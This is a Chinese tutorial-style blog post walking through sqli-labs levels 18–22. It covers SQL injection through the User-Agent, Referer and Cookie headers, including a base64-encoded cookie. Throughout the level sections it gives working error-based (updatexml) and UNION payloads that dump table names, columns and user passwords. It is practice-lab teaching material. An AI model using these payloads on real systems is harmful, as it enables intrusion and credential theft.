东莞设计兼职网站建设/网站seo李守洪排名大师

东莞设计兼职网站建设,网站seo李守洪排名大师,网站建设分为哪几种,phpcms 怎么做视频网站目录 【sql靶场】第18-22关-htpp头部注入保姆级教程 1.回顾知识 1.http头部 2.报错注入 2.第十八关 1.尝试 2.爆出数据库名 3.爆出表名 4.爆出字段 5.爆出账号密码 3.第十九关 4.第二十关 5.第二十一关 6.第二十二关 【sql靶场】第18-22关-htpp头部注入保姆级教程…

目录

【sql靶场】第18-22关-htpp头部注入保姆级教程

1.回顾知识

1.http头部

2.报错注入

2.第十八关

1.尝试

2.爆出数据库名

3.爆出表名

4.爆出字段

5.爆出账号密码

3.第十九关

4.第二十关

5.第二十一关

6.第二十二关


【sql靶场】第18-22关-htpp头部注入保姆级教程

1.回顾知识
1.http头部

HTTP请求头部有一些常用的字段,这些字段提供了关于请求的详细信息,以及客户端和服务器之间的交互方式。下面是一些常见的HTTP请求头部字段:

  1. User-Agent:这个头部字段提供了关于发送请求的应用程序或浏览器的信息。它通常包括应用程序的名称、版本和使用的操作系统等信息。例如,User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36。
  2. Accept:这个头部字段指定客户端能够处理的数据类型,例如文本、HTML、图片、音频等。通过这个字段,服务器可以了解客户端支持的内容格式,并相应地返回数据。
  3. Accept-Language:这个头部字段指定客户端接受的语言类型和优先级。例如,Accept-Language: en-US,en;q=0.5。这有助于服务器返回与客户端语言偏好匹配的内容。
  4. Cookie:这个头部字段用于在客户端和服务器之间传递会话信息。Cookie通常用于保存用户的登录状态、购物车内容等。服务器通过读取Cookie头部字段中的值,可以识别用户或恢复会话状态。
  5. Host:这个头部字段指定要访问的服务器地址。对于DNS解析后的域名或IP地址,服务器可以使用Host头部来找到相应的资源。例如,Host: www.example.com。
  6. Referer:这个头部字段指定请求来源网页的URL。当用户从一个网页跳转到另一个网页时,浏览器会发送Referer头部,以便服务器知道原始页面的来源。
  7. Authorization:这个头部字段用于向服务器提供身份验证信息,例如Bearer token或Basic authentication。当用户需要登录或授权访问特定资源时,浏览器会发送包含身份验证信息的Authorization头部。

2.报错注入

1.报错注入深解

有则利用报错显示进行注入,让报错里面携带所需的查询信息

可以通过列数不同进行判断是否有报错,但是报错注入一般是让报错函数通过构造‌非法XPath表达式强制触发数据库解析错误,其核心原理与字段数无关,原因是字段数不匹配错误发生在 ‌结果集构造阶段(如 UNION 前后字段数不一致)报错注入的异常发生在 ‌条件解析阶段(如XPath解析失败),早于结果集生成,无论主查询返回3个字段还是其他数量,条件逻辑仅影响数据过滤,不涉及字段数对比‌

2.报错注入格式

一般是通过updatexml与 extractvalue进行构造‌非法XPath表达式

?id=1' and updatexml(1,concat(0x7e,(子查询语句),0x7e),1)--+
?id=1' and extractvalue(1,concat(0x7e,(子查询语句),0x7e))--+ 

3.使用的函数

concat:将同一行中多个字段的值拼接为单个字符串,适用于单行多列数据的合并‌

group_concat:某一列的数据聚合,适用于单列多行数据的合并‌

两个可以组合使用----每次先将行中的两个字段进行拼接成字符串再进行列的每行数据聚合

GROUP_CONCAT(CONCAT(col1, col2))

区别:

concat适用于需要精准提取特定行数据的场景(如管理员账号)‌。需多次请求,效率较低‌

group_concat单次请求获取数据,但需手动拼接分片结果‌。适用于快速批量泄露(如全表用户密码)

问题:

在利用 updatexml 进行报错注入时,可能会因为查询结果因长度限制显示不全,可通过以下两种方法解决:mid()或 substr()分片截取数据,规避 updatexml() 的32字符长度限制‌

使用的语法:

limit 0,1:从第0行开始,获取1条数据。逐次修改起始位置(如 limit 1,1、limit 2,1)遍历所有记录‌

substr(string, start, length):从字符串第1位开始截取31个字符(因报错信息最大长度约32字符),

逐次修改 start 参数(如 32、63)循环获取后续内容‌。

mid(string, start, length):从字符串第1位开始截取31个字符(因报错信息最大长度约32字符),

逐次修改 start 参数(如 32、63)循环获取后续内容‌。

区别:

substr(string, start, length) 和mid(string, start, length) 均用于截取字符串的指定部分,两者语法和功能完全一致‌,但是一般使用 mid(),功能相同但兼容性更佳‌,可无缝替代 substr避免潜在语法冲突‌。

特性concat + limitgroup_concat + substr/mid
数据范围单行数据多行聚合数据
输出格式单条记录(如 user~pass多条记录合并(如 user1~pass1,user2~pass2
注入效率需多次请求遍历数据单次请求获取多行数据
长度限制处理直接适配单行输出长度需通过 substr 分段截取避免超长截断‌

2.第十八关
1.尝试

在这里的输入框分别进行单引号双引号测试,不行

同时输入账号密码再在其中一个里面进行注入测试,不行

尝试输入正确账号,随机密码进行注入测试,不行

输入正确账号密码,再在输入框进行注入,不行

输入正确账号密码,不注入,看页面,结果出现了http头部的User-Agent信息,既然会有User-Agent信息打印出来,我们就可以尝试能不能进行注入,进行抓包修改User-Agent,进行注入

发现在User-Agent上修改,会有报错返回

那既然有报错返回,我们就可以尝试进行报错注入

2.爆出数据库名

第一次尝试

a' and updatexml(1,concat(0x7e,(select database()),0x7e),1) #

但是没有成功报错注入,而是又报错了sql语句错误,在注释符那里,很多时候都会有过滤注释符,最好使用and '1'='1;我比较懒就直接使用了注释符#,我们尝试使用and '1'='1

a' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1

结果成功了注入出来数据库名

3.爆出表名

然后同样进行注入表名

a' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1

结果报错截断不正确的double值a

我觉得可能是and的问题,因为and必须都为真,于是改为了or

a' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1

结果依然报错

我就尝试将前面的字符a删除,但是我想尝试and可不可以,毕竟前面没有值了

' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1

结果虽然不会报错了,但是也没有了报错注入返回

于是使用or

' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1

最终成功注入出来了

但是我后面又想到既然是截断不正确的double值,‌浮点数数据类型‌,用于表示带有小数部分的数值,那我不使用英文字符了,使用数字字符了

1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1

结果果然没有报错了,但是报错注入的返回也没有了,那这样可能是因为截断了正确的double值,而使用了or,只需要其中一个为真就好,后面的报错注入直接不看了导致的,那么我又使用回and

1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1

结果果然也可以爆出表名

4.爆出字段
' or updatexml(1,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),1,30),0x7e),1) and '1'='1

5.爆出账号密码
' or  updatexml(1,concat(0x7e,(select substr((group_concat(username,0x3a,password)),1,32) from users),0x7e),1) and '1'='1

3.第十九关

这一关爆出http头部的Referer字段信息,除了注入位置不愿意,剩下的与十八关基本一样

4.第二十关

这一关爆出http头部的Cookie字段信息

然后我们可以看到这里将用户名与密码和id都显出来了,我们可以利用这个测试回显位置进行注入

放掉第一个包

用第二个包

16-抓包2

测试字段

' order by 4#

报错了,说明可以用报错注入,与十八、十九关操作基本一样,但是这一关有回显就不用这么麻烦,发现字段不是4

' order by 3#

没有报错,则是三

测试回显

' union select 1,2,3#

发现全部回显,id为1,name为2,password为3,进行注入

爆出数据库名

' union select 1,2,database()#

爆出全部

这里为了方便就不一条一条爆出来了,直接用三个回显爆出全部信息,一般来说要一个一个来,因为你知道数据库名,但是不知道表名,不知道表名就不知道字段,不知道字段就不能爆出账号密码

 ' union select  (select group_concat(table_name) from information_schema.tables where table_schema='security'),(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),(select group_concat(concat_ws(0x3a,username,password)) from users)#

5.第二十一关

这一关与第二十关十分相似,但是又有所不同

首先登入看页面,发现也是Cookie字段信息

结果发现语句name在打印里面还变成了一串奇怪语句

我们去后端查看

if($row1){echo '<font color= "#FFFF00" font size = 3 >';setcookie('uname', base64_encode($row1['username']), time()+3600);	echo "I LOVE YOU COOKIES";echo "</font>";echo '<font color= "#0000ff" font size = 3 >';			//echo 'Your Cookie is: ' .$cookee;echo "</font>";echo "<br>";print_r(mysql_error());			echo "<br><br>";echo '<img src="../images/flag.jpg" />';echo "<br>";header ('Location: index.php');}else{echo '<font color= "#0000ff" font size="3">';//echo "Try again looser";print_r(mysql_error());echo "</br>";			echo "</br>";echo '<img src="../images/slap.jpg" />';	echo "</font>";  }}

在里面我们可以看到有这么一句

setcookie('uname', base64_encode($row1['username']), time()+3600);	

这一句使得我们注入的语句要进行base64编码才能够注入

进行编码

') union select 1,2,database()#

报错了,查看报错发现是闭合方式错误,改成')闭合

这里为了方便就不一条一条爆出来了,直接用三个回显爆出全部信息,一般来说要一个一个来,因为你知道数据库名,但是不知道表名,不知道表名就不知道字段,不知道字段就不能爆出账号密码

') union select  (select group_concat(table_name) from information_schema.tables where table_schema='security'),(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),(select group_concat(concat_ws(0x3a,username,password)) from users)#

6.第二十二关

这一关闭合方式为",剩下的与第二十一关基本一样。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/73775.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Python----计算机视觉处理(Opencv:形态学变换)

一、形态学变化 形态学变换&#xff08;Morphological Transformations&#xff09;是一种基于形状的图像处理技术&#xff0c;主要处理的对象为二值化图像。 形态学变换有两个输入和一个输出&#xff1a;输入为原始图像和核&#xff08;即结构化元素&#xff09;&#xff0c;输…

【最新版】智慧小区物业管理小程序源码+uniapp全开源

一.系统介绍 智慧小区物业管理小程序,包含小区物业缴费、房产管理、在线报修、业主活动报名、在线商城等功能。为物业量身打造的智慧小区运营管理系统,贴合物业工作场景,轻松提高物业费用收缴率,更有功能模块个性化组合,助力物业节约成本高效运营。 二.搭建环境 系统环…

C++模板进阶

目录 非类型模板参数 类模板的特化 分类 函数模板的特化 模板分离编译 问题 解决方法 1&#xff09;不对模板定义进行分离或对模板进行特例化&#xff1b; 2&#xff09;将声明和定义放在同一个文件 总结 关于C模板的使用在《C类和对象》中有介绍&#xff0c;本篇博客…

停车场停车位数据集,标注停车位上是否有车,平均正确识别率99.5%,支持yolov5-11, coco json,darknet,xml格式标注

停车场停车位数据集&#xff0c;标注停车位上是否有车&#xff0c;平均正确识别率98.0&#xff05;&#xff0c;支持yolov5-11&#xff0c; coco json&#xff0c;darknet&#xff0c;xml格式标注 数据集-识别停车场所有车辆的数据集 数据集分割 一共184张图片 训练组 89&am…

Lora微LLAMA模型实战

引言 本文介绍如何复现Alpaca-lora&#xff0c;即基于alpaca数据集用lora方法微调Llama模型。 环境准备 实验环境用的是lanyun&#xff0c;新用户点击注册可以送算力。 下载huggingface上的模型是一个令人头疼的问题&#xff0c;但在lanyun上可以通过在终端运行source /etc…

什么是站群服务器?站群服务器应该怎么选?

站群服务器是专门用于托管和管理多个网站的服务器。通常用于SEO优化、内容分发、广告推广等场景&#xff0c;用户可以通过一个服务器管理多个站点&#xff0c;提升效率并降低成本。选择站群服务器时&#xff0c;需根据业务需求、性能要求、IP资源等因素进行综合考虑。 什么是站…

【LInux进程六】命令行参数和环境变量

【LInux进程六】命令行参数和环境变量 1.main函数的两个参数2.利用main函数实现一个简单的计算器3.环境变量之一&#xff1a;PATH4.修改PATH5.在命令行解释器bash中查看所有环境变量6.用自己写的程序查看环境变量7.main函数的第三个参数8.本地的环境变量和环境变量9.环境变量具…

大语言模型的压缩技术

尽管人们对越来越大的语言模型一直很感兴趣&#xff0c;但MistralAI 向我们表明&#xff0c;规模只是相对而言的&#xff0c;而对边缘计算日益增长的兴趣促使我们使用小型语言获得不错的结果。压缩技术提供了一种替代方法。在本文中&#xff0c;我将解释这些技术&#xff0c;并…

大华HTTP协议在智联视频超融合平台中的接入方法

一. 大华HTTP协议介绍 大华HTTP协议是大华股份&#xff08;Dahua Technology&#xff09;为其安防监控设备开发的一套基于HTTP/HTTPS的通信协议&#xff0c;主要用于设备与客户端&#xff08;如PC、手机、服务器&#xff09;之间的数据交互。该协议支持设备管理、视频流获取、…

7、vue3做了什么

大佬认为有何优点&#xff1a; 组合式api----逻辑集中、对ts有更好的支持RFC–开放了一个讨论机制&#xff0c;可以看到每一个api的提案&#xff0c;方便源码维护&#xff0c;功能扩展&#xff0c;大家一起讨论 官方rfc响应式独立&#xff0c;new Proxy&#xff0c;天生自带来…

多人在线聊天系统,创建群,视频,语音,自带带授权码

多人在线聊天系统&#xff0c;创建群&#xff0c;视频&#xff0c;语音 带授权码&#xff0c;授权码限制 10 个网站&#xff0c;需要下载研究吧 在线聊天&#xff0c;创建群&#xff0c;表情&#xff0c;图片&#xff0c;文件&#xff0c;视频&#xff0c;语音&#xff0c;自…

NFC 碰一碰发视频源码搭建,支持OEM

一、引言 NFC&#xff08;Near Field Communication&#xff09;近场通信技术&#xff0c;以其便捷、快速的数据交互特性&#xff0c;正广泛应用于各个领域。其中&#xff0c;NFC 碰一碰发视频这一应用场景&#xff0c;为用户带来了新颖且高效的视频分享体验。想象一下&#x…

C++从入门到入土(八)——多态的原理

目录 前言 多态的原理 动态绑定与静态绑定 虚函数表 小结 前言 在前面的文章中&#xff0c;我们介绍了C三大特性之一的多态&#xff0c;我们主要介绍了多态的构成条件&#xff0c;但是对于多态的原理我们探讨的是不够深入的&#xff0c;下面这这一篇文章&#xff0c;我们将…

Linux目录理解

前言 最近在复习linux&#xff0c;发现有些目录总是忘记内容&#xff0c;发现有些还是得从原义和实际例子去理解会记忆深刻些。以下是个人的一些理解 Linux目录 常见的Linux下的目录如下&#xff1a; 1. 根目录 / (Root Directory) 英文含义&#xff1a;/ 是文件系统的根…

c++领域展开第十七幕——STL(vector容器的模拟实现以及迭代器失效问题)超详细!!!!

文章目录 前言vector——基本模型vector——迭代器模拟实现vector——容量函数以及push_back、pop_backvector——默认成员函数vector——运算符重载vector——插入和删除函数vector——实现过程的问题迭代器失效memcpy的浅拷贝问题 总结 前言 上篇博客我们已经详细介绍了vecto…

植物知识分享论坛毕设

1.这四个文件直接是什么关系&#xff1f;各自都是什么作用&#xff1f;他们之间是如何联系的&#xff1f; 关系与联系 UserController.java 负责接收外部请求&#xff0c;调用 UserService.java 里的方法来处理业务&#xff0c; 而 UserService.java 又会调用 UserMapper.jav…

Business processes A bridge to SAP and a guide to SAP TS410 certification

Business processes A bridge to SAP and a guide to SAP TS410 certification

算法 之 ST表

文章目录 区间最大值 ST表(Sparse Table)是一种高效处理静态数据区间查询的数据结构&#xff0c;主要的作用是用于快速查询区间的最值&#xff0c;区间GCD,区间按位与或 在这里以区间最大值为例子说明st表的模版 总体的思想就是定义dp[i][j]表示下标为i长度为2^j的区间的最大值…

Deepseek X 文心智能体:谐音梗广告创意大师

体验链接 飞书文档 一、引言 在当今竞争激烈的市场环境下&#xff0c;广告创意对于产品或服务的推广至关重要。谐音广告以其独特的语言魅力&#xff0c;能够迅速吸引受众的注意力并留下深刻印象。本智能体旨在利用 DeepSeek 模型强大的语言分析和推理能力&#xff0c;为用户…

TCP简单链接的编程实现

TCP简单链接的编程实现 本文主要介绍TCP应用层的编码实现。 TCP是一种面向连接的、可靠的、基于字节流的传输层协议&#xff0c;它是互联网协议套件&#xff08;TCP/IP&#xff09;中的核心协议之一&#xff0c;广泛应用于需要可靠数据传输的场景&#xff0c;如&#xff1a;网…